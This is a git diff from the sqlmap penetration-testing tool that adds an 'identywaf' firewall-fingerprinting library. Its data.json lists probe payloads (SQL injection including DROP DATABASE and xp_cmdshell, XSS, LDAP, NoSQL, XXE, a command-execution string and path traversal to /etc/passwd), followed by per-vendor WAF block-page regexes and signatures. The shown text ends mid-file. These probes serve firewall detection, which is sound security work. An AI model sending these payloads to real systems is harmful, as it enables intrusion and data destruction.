dest="listTampers", action="store_true", help="Display list of available tamper scripts") diff --git a/sqlmap.conf b/sqlmap.conf index 772b94ad6fb..e83e09e8054 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -788,10 +788,6 @@ disableColoring = False # Default: 1 googlePage = 1 -# Make a thorough testing for a WAF/IPS protection. -# Valid: True or False -identifyWaf = False - # Display list of available tamper scripts # Valid: True or False listTampers = False diff --git a/swagger.yaml b/swagger.yaml index 6269bba0b2a..8a79abb239e 100644 --- a/swagger.yaml +++ b/swagger.yaml @@ -270,7 +270,6 @@ paths: tmpPath: null titles: false getSchema: false - identifyWaf: false paramDel: null safeReqFile: null regKey: null diff --git a/thirdparty/identywaf/LICENSE b/thirdparty/identywaf/LICENSE new file mode 100644 index 00000000000..fbea8d26e46 --- /dev/null +++ b/thirdparty/identywaf/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2019 Miroslav Stampar + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json new file mode 100644 index 00000000000..66eddc3fb16 --- /dev/null +++ b/thirdparty/identywaf/data.json @@ -0,0 +1,885 @@ +{ + "__copyright__": "Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", + "__notice__": "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software", + + "payloads": [ + "HTML::", + "SQLi::1 AND 1", + "SQLi::1/**/AND/**/1", + "SQLi::1/*0AND*/1", + "SQLi::1 AND 1=1", + "SQLi::1 AND 1 LIKE 1", + "SQLi::1 AND 1 BETWEEN 0 AND 1", + "SQLi::1 AND 2>(SELECT 1)-- -", + "SQLi::' OR SLEEP(5) OR '", + "SQLi::admin'-- -", + "SQLi::information_schema", + "SQLi::;DROP TABLE mysql.users", + "SQLi::';DROP DATABASE mysql#", + "SQLi::1/**/UNION/**/SELECT/**/1/**/FROM/**/information_schema.*", + "SQLi::SELECT id FROM users WHERE id>2", + "SQLi::1 UNION SELECT information_schema.*", + "SQLi::1;EXEC xp_cmdshell('type autoexec.bat');", + "SQLi::1;INSERT INTO USERS values('admin', 'foobar')", + "XSS::", + "XSS::", + "XSS::", + "XSS::\\\";alert('XSS');//", + "XSS::1' onerror=alert(String.fromCharCode(88,83,83))>", + "XSS::var n=0;while(true){n++;}]]>", + "XSS::", + "XSS::javascript:alert(/XSS/)", + "XSS::", + "XPATHi::' and count(/*)=1 and '1'='1", + "XPATHi::count(/child::node())", + "XPATHi::' and count(/comment())=1 and '1'='1", + "XPATHi::' or '1'='1", + "XXE::]>&xxe;", + "LDAPi::admin*)((|userpassword=*)", + "LDAPi::user=*)(uid=*))(|(uid=*", + "LDAPi::*(|(objectclass=*))", + "NOSQLi::true, $where: '1 == 1'", + "NOSQLi::{ $ne: 1 }", + "NOSQLi::' } ], $comment:'success'", + "PHPi::", + "ACE::netstat -antup | grep :443; ping 127.0.0.1; curl http://www.google.com", + "PT:://///.htaccess", + "PT::/etc/passwd", + "PT::../../boot.ini", + "PT::C:/inetpub/wwwroot/global.asa" + ], + "wafs": { + "360": { + "company": "360", + "name": "360", + "regex": "493|/wzws-waf-cgi/", + "signatures": [ + "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC" + ] + }, + "aesecure": { + "company": "aeSecure", + "name": "aeSecure", + "regex": "aesecure_denied\\.png|aesecure-code: \\d+", + "signatures": [ + "8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD" + ] + }, + "airlock": { + "company": "Phion/Ergon", + "name": "Airlock", + "regex": "The server detected a syntax error in your request", + "signatures": [ + "3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD" + ] + }, + "alertlogic": { + "company": "Alert Logic", + "name": "Alert Logic", + "regex": "(?s)timed_redirect\\(seconds, url\\).+?

Reference ID:", + "signatures": [] + }, + "aliyundun": { + "company": "Alibaba Cloud Computing", + "name": "AliYunDun", + "regex": "Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\.aliyun\\.com/", + "signatures": [ + "e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "anquanbao": { + "company": "Anquanbao", + "name": "Anquanbao", + "regex": "/aqb_cc/error/", + "signatures": [ + "c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "approach": { + "company": "Approach", + "name": "Approach", + "regex": "Approach.+?Web Application (Firewall|Filtering)", + "signatures": [ + "fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD" + ] + }, + "armor": { + "company": "Armor Defense", + "name": "Armor Protection", + "regex": "This request has been blocked by website protection from Armor", + "signatures": [ + "03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", + "1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ], + "note": "Uses SecureSphere (Imperva) (Reference: https://www.imperva.com/resources/case_studies/CS_Armor.pdf)" + }, + "asm": { + "company": "F5 Networks", + "name": "Application Security Manager", + "regex": "The requested URL was rejected\\. Please consult with your administrator|security\\.f5aas\\.com", + "signatures": [ + "2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC", + "4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC", + "8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC", + "540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC", + "c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC", + "b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC", + "3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC", + "620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC", + "ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC", + "9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC" + ] + }, + "astra": { + "company": "Czar Securities", + "name": "Astra", + "regex": "(?s)unfortunately our website protection system.+?//www\\.getastra\\.com", + "signatures": [] + }, + "aws": { + "company": "Amazon", + "name": "AWS WAF", + "regex": "(?i)HTTP/1.+\\b403\\b.+\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront", + "signatures": [ + "2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "barracuda": { + "company": "Barracuda Networks", + "name": "Barracuda", + "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page", + "signatures": [ + "2676:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4VmkwI3FZjxtDtAeq6c36A4chS1XaTC", + "db27:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RWg1qQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC" + ] + }, + "bekchy": { + "company": "Faydata Information Technologies Inc.", + "name": "Bekchy", + "regex": "Bekchy - Access Denided|", + "signatures": [ + "e1c5:RVZXum60OEhCWKpAYKYPk4JzWOtohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "bitninja": { + "company": "BitNinja", + "name": "BitNinja", + "regex": "alt=\"BitNinja|Security check by BitNinja|your IP will be removed from BitNinja|Visitor anti-robot validation", + "signatures": [] + }, + "bluedon": { + "company": "Bluedon", + "name": "Bluedon", + "regex": "Bluedon Web Application Firewall|Server: BDWAF", + "signatures": [] + }, + "bulletproof": { + "company": "AITpro Website Security", + "name": "BulletProof Security Pro", + "regex": "(?s)bpsMessage.+?403 Forbidden Error Page.+?If you arrived here due to a search or clicking on a link", + "signatures": [] + }, + "cdnns": { + "company": "CdnNs/WdidcNet", + "name": "CdnNsWAF", + "regex": "by CdnNsWAF Application Gateway", + "signatures": [ + "5c5d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXo2tLaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC" + ] + }, + "cerber": { + "company": "Cerber Tech", + "name": "WP Cerber Security", + "regex": "We're sorry, you are not allowed to proceed|Your request looks suspicious or similar to automated requests from spam posting software", + "signatures": [ + "d8c2:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "checkpoint": { + "company": "Check Point", + "name": "Next Generation Firewall", + "regex": "", + "signatures": [ + "b771:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "3b40:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16BcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC", + "a332:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "a89b:RVZXum61OEhCWapAYKYPkoJzWOpohc4JiUYMr2RWg1uQJbX2uhdOnthsOj+hX7AB16BcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "chuangyu": { + "company": "Yunaq", + "name": "Chuang Yu Shield", + "regex": " \\d+\\.\\d+\\.\\d+\\.\\d+/[0-9a-f]{7} \\[\\d+\\] ", + "signatures": [ + "eda6:RVZXum61OElCWapAYKcPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "5bae:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC" + ] + }, + "cloudbric": { + "company": "Cloudbric", + "name": "Cloudbric", + "regex": "Your request was blocked by Cloudbric", + "signatures": [ + "514d:RVZXum60OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1qQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "cloudflare": { + "company": "CloudFlare", + "name": "CloudFlare", + "regex": "Attention Required! \\| Cloudflare|CLOUDFLARE_ERROR_", + "signatures": [ + "956d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "6b42:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "2295:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "0d86:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "4849:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "535c:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hXrAB16FcPxJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "675a:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "4a45:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "1f29:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "6002:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "78df:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTD", + "cf65:RVZXum60OEhCWapBYKcPkoJzWOtohM4IiUcMrmRWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4VmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "85c6:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "9a2d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "0576:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMrmRXg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "f3bb:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUYMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "471d:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "8936:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMrmRWg1uQJLX2uhdOnthsOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "0ade:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "22d1:RVZXum60OEhCWapBYKcPkoJzWOpohM4IiUcMr2RWg1uQJbX2uhdOnthtOj+hXrAA16FcPxJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "e9bd:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthsOj+hXrAB16FcPxJPdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "comodo": { + "company": "Comodo", + "name": "Comodo", + "regex": "Server: Protected by COMODO WAF", + "signatures": [ + "ade8:RVZXum60OEhCWapAYKYPkoJzWOpohc4IiUYMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD", + "f063:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD", + "985c:RVZXum60OEhCWapAYKYPkoJzWOpohc4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c3qA5chW1XaTD", + "f063:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD", + "1971:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD" + ] + }, + "crawlprotect": { + "company": "Jean-Denis Brun", + "name": "CrawlProtect", + "regex": "CrawlProtect|This site is protected by CrawlProtectc|Set-Cookie: crawlprotecttag", + "signatures": [ + "1eca:RVZXum60OEhCWKpBYKYPkoJzWOpohM4IiUYMrmRXg1uQJLX2uhZOnthtOj+hXrAA16FcPhJPdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XKTC" + ] + }, + "distil": { + "company": "Distil Networks", + "name": "Distil", + "regex": "distilCaptchaForm|distilCallbackGuard|cdn\\.distilnetworks\\.com/images/anomaly-detected\\.png", + "signatures": [] + }, + "dotdefender": { + "company": "Applicure Technologies", + "name": "dotDefender", + "regex": "dotDefender Blocked Your Request|Applicure is the leading provider of web application security|Please contact the site administrator, and provide the following Reference ID", + "signatures": [ + "7cce:RVZXum60OEhCWapAYKYPkoJzWOpohM4IiUYMrmRWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "dddb:RVdXum61OElCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "0718:RVZXum61OElCWapAYKYPk4JzWOtohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "9bf2:RVdXum61OElCWapAYKYPk4JzWOtohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" + ] + }, + "expressionengine": { + "company": "EllisLab", + "name": "ExpressionEngine", + "regex": "(?s)\\bexp_last_.+?(Invalid GET Data|Invalid URI)", + "signatures": [ + "88ec:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMrmRWg1qQJbX3uhZOnthsOj6hX7AA16FcPxJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chS1XKTC" + ] + }, + "fortiweb": { + "company": "Fortinet", + "name": "FortiWeb", + "regex": "Server Unavailable!", + "signatures": [ + "9d05:RVZXu261OElCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTD" + ] + }, + "godaddy": { + "company": "GoDaddy", + "name": "GoDaddy Website Security", + "regex": "GoDaddy Security - Access Denied|Access Denied - GoDaddy Website Firewall", + "signatures": [ + "6cff:RVdXum60OEhCWapAYKYPk4JzWOtohM4IiUYMr2RWg1uQJbX3uhdOn9htOj+hXrAA16FcPxJOdLoXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "greywizard": { + "company": "Grey Wizard", + "name": "Greywizard", + "regex": "(?i)server: greywizard|detected attempted attack or non standard traffic from your IP address|<title>Grey Wizard", + "signatures": [ + "c669:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkwI2FZjxtDtAeq+c3qA5chW1XaTC" + ] + }, + "imunify360": { + "company": "CloudLinux", + "name": "Imunify360", + "regex": "Server: imunify360-webshield|protected by Imunify360|Powered by Imunify360|imunify360 preloader", + "signatures": [] + }, + "incapsula": { + "company": "Incapsula/Imperva", + "name": "Incapsula", + "regex": "Incapsula incident ID", + "signatures": [ + "2770:RVZXum60OEhCWKpAYKYPkoJzWOpohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC", + "3193:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZnxtDtAeq6c3qA4chS1XKTC", + "cdd1:RVZXum60OEhCWapAYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4RmkgI2FZnxtTtBeq+c36A5chW1XaTC" + ] + }, + "isaserver": { + "company": "Microsoft", + "name": "ISA Server", + "regex": "The (ISA Server|server) denied the specified Uniform Resource Locator \\(URL\\)", + "signatures": [] + }, + "janusec": { + "company": "Janusec", + "name": "Janusec Application Gateway", + "regex": "Reason:.+by Janusec Application Gateway", + "signatures": [ + "5c5d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXo2tLaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC" + ] + }, + "jiasule": { + "company": "Jiasule", + "name": "Jiasule", + "regex": "Server: jiasule-WAF|notice-jiasule|static\\.jiasule\\.com/static/js/http_error\\.js", + "signatures": [ + "7520:RVZXum61OElCWapAYKYPk4JzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtBeq+c36A5chW1XaTD", + "001e:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtTtAeq+c36A5chW1XaTC", + 